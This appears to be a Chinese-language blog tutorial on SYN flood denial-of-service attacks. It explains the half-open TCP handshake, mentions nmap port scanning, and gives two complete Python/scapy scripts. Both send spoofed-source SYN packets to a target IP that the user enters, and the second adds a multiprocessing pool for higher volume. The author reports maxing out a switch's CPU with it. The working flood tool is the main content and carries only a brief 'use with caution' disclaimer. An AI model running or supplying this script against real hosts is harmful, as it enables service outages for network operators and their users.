SYN泛洪攻击原理
攻击者与服务器的某个端口建立TCP的第一次握手,而攻击者的源IP是虚假的,则服务器一直都在等待着对方的第三次握手,一直占用着服务器的资源。
如果在同一时间内,攻击者发送大量的这样的数据包与服务器建立SYN的连接就会把服务器的所有资源都占满了,从而服务器无法响应其它正常的数据包。
使用nmap对目标主机进行端口扫描
获取目标主机开放的端口

脚本如下
# -*- coding: gbk -*- # 制作人:(Tim) from scapy.all import * # 前提是已经安装好scapy,可以使用pip install scapy进行安装
import random def syn_flood(dst): while True: src = str(random.randint(1,255)) + "." + str(random.randint(1,255)) + "." + str(random.randint(1,255)) + "." + str(random.randint(1,255)) # 生成随机的源IP sport = random.randint(40000,65535) dport = 23 # 这里以23端口为例 send = sr(IP(src=src,dst=dst)/TCP(flags="S",sport=sport,dport=dport),timeout=1) def main(): dst = input("please input your attack IP:") syn_flood(dst) if __name__=="__main__": main()
效果如下
目标主机日志信息如下:

在目标主机上可以看到有接收到大量的SYN数据包
进一步优化
单凭这简单的脚本想造成DoS攻击是不可能的。想要更快地建立更多的连接而你的设备性能又足够地好可以使用多进程。
我这里使用的是进程池
附上进程池相关参数说明:
po = Pool(num) # num表示可以同时执行的进程数量,默认大小是CPU的核心数
multiprocessing.Pool常用函数解析:
apply_async(func[, args[, kwds]]) :使用非阻塞方式调用func(并行执行,堵塞方式必须等待上一个进程退出才能执行下一个进程),args为传递给func的参数列表,kwds为传递给func的关键字参数列表;
close():关闭Pool,使其不再接受新的任务;
terminate():不管任务是否完成,立即终止;
join():主进程阻塞,等待子进程的退出, 必须在close或terminate之后使用;
# -*- coding: gbk -*- # 制作人:tianwen.zhao(Tim) from scapy.all import * import random import multiprocessing def syn_flood(dst): src = str(random.randint(1,255)) + "." + str(random.randint(1,255)) + "." + str(random.randint(1,255)) + "." + str(random.randint(1,255)) sport = random.randint(40000,65535) dport = 23 send = sr(IP(src=src,dst=dst)/TCP(flags="S",sport=sport,dport=dport),timeout=0.01) def Dos(): dst = input("please input your attack IP:") pool = multiprocessing.Pool(4) # 我电脑是4核 while True: try: pool.apply_async(syn_flood,(dst,)) except KeyboardInterrupt: pool.terminate() break def main(): Dos() if __name__=="__main__": main()
效果:
正常情况:
运行脚本后

当然了,我这里是一台二层性能较弱的交换机,运行脚本后交换机的CPU瞬间满了,连命令都敲不动了。可以看到占用CPU最多的进程是 IP Input,说明交换机接收太多的数据包处理不过来(有点类似于广播风暴),如果你使用show interface的话可以看到接口短时间内接收到大量的数据,这里我当时忘记截图了。。
同时我也使用了win10进行测试,可以看到PC在短时间内瞬间建立了大量的连接
PS:本次内容仅供参考,请慎用。